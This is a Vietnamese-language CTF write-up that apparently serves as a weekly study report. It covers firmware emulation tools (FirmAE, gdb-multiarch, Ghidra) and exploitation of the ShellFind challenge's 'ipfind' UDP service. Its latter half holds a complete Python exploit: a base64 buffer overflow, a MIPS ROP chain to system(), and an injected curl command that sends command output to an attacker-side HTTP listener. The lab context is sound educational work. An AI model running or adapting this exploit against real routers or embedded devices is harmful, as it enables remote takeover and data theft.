# Báo cáo lần 5 [13/06/2023] Tuần này, chúng ta sẽ cùng tìm hiểu cách phân tích cũng như giả lập một firmware để khai thác firmware đó. # Công cụ ### [FirmAE](https://github.com/pr0v3rbs/FirmAE) Đây là công cụ dùng để emulate firmware mà mình thấy là oke nhất. Công cụ này base từ [Firmadyne](https://github.com/firmadyne/firmadyne) và có công cụ khác cũng base từ Firmadyne đó là [Firmware Analyziz Toolkit](https://github.com/attify/firmware-analysis-toolkit). Hiện tại cái repo của binwalk nó bị lỗi nên việc cài đặt bình thường sẽ thiếu dependencies. Các bạn có thể tải FirmAE từ repo của mình [ở đây](https://github.com/nhtri2003gmail/Firmware-Tools#firmae) vì mình đã patch các file cài đặt. Để build và check 1 firmware, ta chạy lệnh sau: ```bash sudo ./run.sh -c <brand> <firmware-path> ``` Tham số `-c` sẽ phân tích firmware, xác định architect, tạo ip và build image cho firmware để có thể emulate (lưu ý, tham số `-c` là chưa emulate mà chỉ mới build image thôi). Để emulate firmware, ta chạy FirmAE với tham số `-r`: ```bash sudo ./run.sh -r <brand> <firmware-path> ``` ![](https://hackmd.io/_uploads/H1z-leLDh.png) Để vừa emulate vừa debug, ta chạy FirmAE với tham số `-d`: ```bash sudo ./run.sh -d <brand> <firmware-path> ``` ![](https://hackmd.io/_uploads/H1Iwle8D3.png) ### gdb-multiarch Firmware thông thường không chỉ có architect x86 hay x64 mà có thể là architect riscv hoặc arm hoặc mipsel do đó với gdb thông thường sẽ không thể debug được riscv, arm và mipsel. Để cài đặt gdb-multiarch ta chạy lệnh sau: ```bash sudo apt-get -y install gdb-multiarch ``` ### [Ghidra](https://ghidra-sre.org/) Khi decompile các chương trình với các architect khác nhau, IDA hầu như không khả thi cho các trường hợp đó. Do vậy một công cụ thay thế tạm thời IDA đó là Ghidra. # Khai thác Mình sẽ sử dụng challenge ShellFind của giải Realworld 5th để demo. Đầu tiên ta emulate và debug firmware với option `-d` để chạy và access vào firmware vfa sau đó ta tiến hành kiểm tra các tiến trình đang bind trên các port UDP: ![](https://hackmd.io/_uploads/SyocllUDh.png) Ta thấy chỉ có 2 port đang được bind. Do đó ta sẽ list các tiến trình đang chạy ra: ![](https://hackmd.io/_uploads/HJ41be8Dh.png) Sau khi tìm kiếm qua một lượt, ta thấy một thí sinh khả nghi nhất đó là ipfind. Decompile ipfind ta thấy nó lắng nghe trên cổng 62720, đúng với cổng mà nó đang lắng nghe: ![](https://hackmd.io/_uploads/H1YEWlIDn.png) Vậy đã xác định được mục tiêu. Chương trình này cũng đơn giản, nó sẽ lấy dữ liệu từ người dùng theo các packet UDP: ![](https://hackmd.io/_uploads/SJrj-xLvn.png) Sau đó phân tích packet và trả lại thông tin cho người dùng: ![](https://hackmd.io/_uploads/HJHpZx8v3.png) Hàm FUN_0040172c sẽ được thực thi khi ta đưa địa chỉ MAC là `FF:FF:FF:FF:FF:FF` và chương trình sẽ đưa lại cho ta địa chỉ MAC của firmware. Nếu ta gửi gói tin với địa chỉ MAC là của firmware và các điều kiện khác thỏa thì hàm bên dưới FUN_004013f4 sẽ được thực thi. Trong hàm FUN_004013f4, ta có thể thấy nó thực thi 1 hàm khác là FUN_00400f50: ![](https://hackmd.io/_uploads/rJlszgUvn.png) Trong hàm FUN_00400f50, ta thấy ngay lỗi buffer overflow của lệnh base64 decode: ![](https://hackmd.io/_uploads/HyYTzx8Ph.png) Với lỗi buffer overflow đó, ta chỉ việc đưa rop vào để thực thi system và ta thành công xâm nhập vào hệ thống firmware. POC: ```python= #!/usr/bin/python3 from pwn import * import socket from binascii import hexlify from base64 import b64encode import http.server as SimpleHTTPServer import socketserver as SocketServer import logging SERVER_PORT = 8000 class GetHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): reply = str(self.headers) reply = reply[reply.index('<START>')+7:] reply = reply[:reply.index('<END>')] print(reply) def run(cmd): IP = '192.168.0.1' PORT = 62720 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) ######################################### ### Stage 1: Get HWaddr (MAC) address ### ######################################### payload = ( b'FIVI' + p32(0xffffffff) + b'\n' + p8(0x1) + # opcode p8(0x0) + p8(0x0) + p8(0x0) + b'AAAA' + b'\xff'*6 + p16(0) + p32(0) + cyclic(0x800 - 4) ) s.sendto(payload, (IP, PORT)) out = s.recv(4096) mac = out[0x11:0x11+6] mac_str = hexlify(p8(mac[0])).decode() + ''.join([f':{hexlify(p8(i)).decode()}' for i in mac[1:]]) ##################################################### ### Stage 2: Change @got to system@plt_dlresolver ### ##################################################### note = ''' gef-remote 192.168.0.1 1337 Set $gp to this to call system by plt $gp : 0x41b030 system@plt = $gp-0x7f24 system@got = 0x41310c system@plt_dlresolver = 0x402840 0x00400c9c: lw $gp, 0x10($sp); lw $ra, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x20; ''' lw_gp_sp0x10 = 0x00400c9c lw_v0_sp_sw_v0_s00xd = 0x00400F24 payload = ( b'FIVI' + p32(0xffffffff) + b'\n' + p8(0x2) + # opcode p8(0x0) + p8(0x0) + p8(0x0) + b'AAAA' + mac + p16(0) + p32(0x8e) + b64encode( b'\0'*0x274 + \ p32(0x4130a8-0xd)[::-1] + \ p32(0)[::-1] + \ p32(lw_gp_sp0x10)[::-1] + \ b'B'*0x10 + \ p32(0x41b030)[::-1] + \ b'C'*0x8 + \ p32(lw_v0_sp_sw_v0_s00xd)[::-1] + \ b'D'*24 + \ p32(0x402840)[::-1] + \ b'B'*4 + \ p32(0x402840)[::-1] + \ p32(lw_gp_sp0x10)[::-1] + \ b'B'*0x10 + \ p32(0x41b030)[::-1] + \ b'C'*0x8 + \ p32(0x00401768)[::-1] + \ b'A'*33 + \ f'curl -H "res: <START>$({cmd})<END>" 192.168.0.2:{SERVER_PORT} ; rm /var/run/ipfind-br0.pid ; /usr/sbin/ipfind br0 &'.encode() + \ b'' ) ) s.sendto(payload, (IP, PORT)) if __name__=='__main__': Handler = GetHandler httpd = SocketServer.TCPServer(("", SERVER_PORT), Handler) t = threading.Thread(target=httpd.serve_forever) t.daemon = True t.start() try: while True: cmd = input("# ") run(cmd) except KeyboardInterrupt: print("Bye bye, see you later!") ``` Thành phẩm: ![](https://hackmd.io/_uploads/HJza8gUwh.png)